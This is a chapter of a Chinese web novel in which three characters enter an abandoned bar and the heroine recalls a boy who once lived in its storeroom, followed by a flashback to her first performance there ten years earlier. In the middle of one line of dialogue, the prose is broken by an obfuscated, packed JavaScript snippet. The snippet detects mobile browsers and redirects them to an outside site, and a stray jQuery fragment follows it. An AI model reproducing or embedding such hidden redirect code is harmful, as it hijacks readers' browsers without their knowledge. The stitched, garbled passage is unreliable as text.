酒吧就在棋牌室的隔壁,三人杵在门外对着紧闭的金属闸门大眼瞪小眼。
庞清伸手戳了戳门锁上结的蜘蛛网,沾了满手灰。
头顶的的霓虹灯招牌灯管早褪了色,用灯带勾勒出花体连笔的“Cats”,用现在的眼光看土爆了,在当年那可是真潮,潮得有点风湿了。
“这门能不能踹开?”庞清突然蹦出句。
乌曼因闻言默默往旁边让了两步,做了个“请”的手势:"请开始你的表演。"
庞清本来只是随口说说,但见两个人都看着他,只好硬着头皮摆好姿势,气势很足地大喝一声,助跑起跳:“看腿!”
“咣当”一声巨响,闸门纹丝不动,倒是震落二两灰。
庞清抱着右脚单腿直蹦跶,像只被烫着爪子的蠢狗。
“就知道指望不上。”乌曼因说着风凉话。
王兴旺:“这门花了我几万块呢,哪有那么好开。”
庞清揉着震麻的脚踝跳脚,一头艺术的齐肩发乱甩:“你们行你们上啊。”
“走侧窗,”乌曼因戏看够了,指了指酒吧侧面,“我记得那个时候我总被蚊子咬,因为窗户外面就是绿化,我们可以爬窗户进去。”
就是偷感有点重。
庞清瞥了眼旁边装聋作哑的王兴旺:“屋主就在这儿站着呢,怎么整得跟做贼似的?”
“这问题你该问屋主吧,谁让他把钥匙丢了。”
王兴旺从鼻子里哼了一声:"屋主现在就想把你们俩都轰出去。"
采纳了乌曼因的建议,三人踩着杂草绕到酒吧侧面,找到一块合适的窗户开始下手。
王兴旺一脸心疼:“你为什么这么熟练?”
“以前那家伙经常拆,我偶尔帮下忙,杂物间隔壁是配电室,他的一些设备非常耗电,趴窝了就会拆窗户拉电线过来。”
王兴旺:“……”
原来你也是帮凶,大家就这么互相伤害。
废弃的酒吧是个被时光遗忘的角落,空气中弥漫着一股陈旧颓败的味道,人不在了,其他生物进来安逸作窝。
乌曼因打头钻进去时,脚边跑过一只南方大耗子,足有她鞋子那么大。
原本华丽靡艳的灯带已经不发光了,没有它们的衬托,原本鲜亮的门、墙壁与桌椅也只是一堆破木板而已。
乌曼因第一次见到这间酒吧完全没有光的样子。
由于整座酒吧内场全部位于室内,没有窗,没有光线的照射。
像是阴森森、毫无人气的鬼屋。
主厅的灯居然还能亮。
她遮住眼,慢慢地等眼睛适应。
骤亮的灯光里,乌曼因看见舞池地板上用涂料画的五线谱还没褪色。
无人回收的旧卡座已经撕裂露出了内里的海绵,乌曼因仰头看着曾经悬挂音响设备的方向,似乎仍然能听到曾经劲爆的鼓点音乐。
酒吧的主厅被设计成了如同剧院一般的阶梯式,但没有那么陡峭,几人顺着卡座走下去,就走到了舞池里面。
仿佛依稀能看见当年的灯红酒绿,时尚帅哥美女如云。
“你以前就经常在那里喝酒撩妹。”乌曼因指了指DJ台的旁边,对庞清说。
“……这种东西你记得倒是怪清楚的。”
“没办法啊,你又不是贝斯手,溜号太明显了。”
“这其实是我觉得氛围最好的一个酒吧了,”乌曼因踩着咯吱作响的地板往舞池中央走,“不知道为什么,在这里演出的效果特别好。”
王兴旺说:“李藏之设计的。”
“?”
王兴旺有些自暴自弃地开始说:“我说,酒吧的室内结构是李藏之设计的,不然你以为我这么抠门的人会让他住在酒吧里?”
“李藏之说,他去过央视的演播厅后,觉得那边的造型于声学上很有利,是经过单独设计过的,他说了很多,我也不太懂。”
“但这间酒吧内部结构装修,确确实实是根据他的意见设计建造的,我不知道会不会跟你说的‘听感很好’有关。”
李藏之虽然偷接电线、破解网吧系统、改装信号塔等等等等劣迹斑斑罄竹难书……但他偶尔也会干点正事。
在这方面,黄钟县的人虽然质疑他的人品,但是绝不怀疑他的实力。
乌曼因:“……”
你人还怪物尽其用的嘞。
王兴旺哼哼:“人总要洗澡洗衣服的吧?这些都是我给他解决的,你当他真的是歌剧魅影吗?他还会拿酒吧前台的游戏币玩跳舞机。”
乌曼因一言难尽地看了眼旁边的跳舞机。
其实是拿给她玩了。
但看王兴旺那么愤慨的样子还是闭嘴吧。
再从角门走到长廊,继续往里走,就能看到杂物间了。
乌曼因有很多年没有来过这里了,肌肉记忆让她熟门熟路地穿过长廊、推开门,但一进这破杂物间就唤醒了她很多尘封的记忆。
门不知道为什么被轻易打开了,没有锁。
门框上的风铃轻轻摇曳。
她对于那个男孩的记忆基调是昏暗且不真实的。
没有人会怀念自己落魄的日子。
男孩的无所不能会给她一个错觉。
她打开了那扇门,门背后其实是另一个世界。
而她走了出来。
那个世界就消失了。
男孩也消失了。
乌曼因有点恍惚,她一直觉得李藏之是个从杂物堆里长出来的小精灵,直到现在,她才鲜明地意识到,李藏之其实是一个在这个社会里出生、长大、拥有身份证的人类。
他会笑、会生气,当然也会离开。
是离开,而不是消失。
意味着她可以找到他。
杂乱的大箱子东倒西歪地堆在墙角,墙壁上的灰尘和蜘蛛网密布,墙上的时钟停在了很久以前的时间。
原本李藏之喜欢堆书的角落只剩下空落落的踢脚线。
所有的一切都被蒙上了厚厚的灰尘,包括她曾经睡过的双层铁架床。
她走近了才意识到,这张床其实很小,她的身高可比床高多了。
但对于当时的她和李藏之来说,这张床温暖得好像能容纳所有。
仔细一看,铁架床的钢上似乎颜色有些亮了。
乌曼因蹲下来,用手擦了一下钢条,吹了吹:“这块的灰不对,不久前有人来这里,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323449|183197||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐在这张床上过,是谁?”
王兴旺嘟囔:“反正不是我。”
“除了你,谁还有酒吧大门的钥匙吗?”
“正规的肯定只有我手里一把,虽然我也忘记放哪了……”
不正规的……在场所有人心里都不由自主冒出同一个名字。
只有那个人有实力、有技术、有动机,而且还没什么底限。
“他后来回来过吗?”乌曼因骤然转头问。
“没有,起码据我所知没有。”王兴旺连连摆手。
“不会因为你把他赶出去所以他流落街头了吧?”乌曼因怀疑地问。
王兴旺跳脚:“我哪敢是他自己不回来——”
……
十年前的春天。
叛逆朋克非主流少女的乌曼因正式在Cats酒吧上岗,开始了自己的第一次县城表演。
舞台下是一个硕大的舞池,将卡座挤得只能贴墙设了一圈。舞池里已经叠起了三个香槟塔,昏暗的灯光摇曳,县城自诩最时尚的年轻男女穿着最新潮的衣服,嬉戏打闹。
酒吧的装潢对她这个从北京来的姑娘来说过时了,声光设备却没有,炫彩的灯光规律舞动,遮掩了斑驳的壁纸和沙发套。
音质紧实、空间感层次分明,在两层楼高的空旷舞厅发挥了最好的混响。
恍惚间好像在一个真正的演唱会现场上。
此时她只要闭上眼睛放空大脑,嘹亮到极致的歌声自然而然会把副歌部分的磅礴全数宣泄出去,带着她充沛的情感。
所有人都在被她的情绪所感染。
全场的气氛瞬间high爆,热情被点燃的客人们纷纷从卡座里跳下来,下饺子似的加入了舞池中央的酒精的狂欢。
有人兴奋过头了就往台上丢荧光棒,不慎被丢到额角误伤的乌曼因倒没有全然融入迷乱的氛围,她郁闷地想,这可是工伤,得加钱。
看起来效果不错,乌曼因自觉功成身退,和几个顾客击了掌后便下台换正式主唱。整个白天到半夜都没休息,困得要死的她好不容易才从兴奋的人群中挣脱出来,提着脚边的蛇皮袋,让王兴旺带她去说好给她的房间。
染着一头绿毛的老板王兴旺还在跟熟客拼酒,没空搭理她。
他打了个呵欠,扔给她一串钥匙,往里随意一指:“往里面走,走廊上左手边门最大的那个是空房间,你先在那里对付一晚吧。”
然后就当没她这个人,继续在朋友的起哄下开香槟,喷了自己一脸。
附近的老炮儿轰然笑开。
乌曼因:“……”
哪里的老男人都是这么讨人厌。
走廊漫长又漆黑,幽深如巨兽的食道。她扛着蛇皮袋,一路往里摸索,找到个挺大、看起来是王兴旺所指的房门用钥匙打开,使劲推开厚重的板门,门轴发出尖利瘆人的嘎吱声……
黑暗的房间里,月光从略薄的窗帘透过,屋里的各种大件勾勒出阴森的轮廓,择人而噬。
而在乌曼因的对面,一束烛光忽隐忽现,烛芯猛地炸开一朵灯花,照亮一张苍白瘦弱的小脸。
没什么表情的小脸仰着头看她,胳膊细瘦,跪在地上,像受了冤屈、徘徊不去的鬼魂。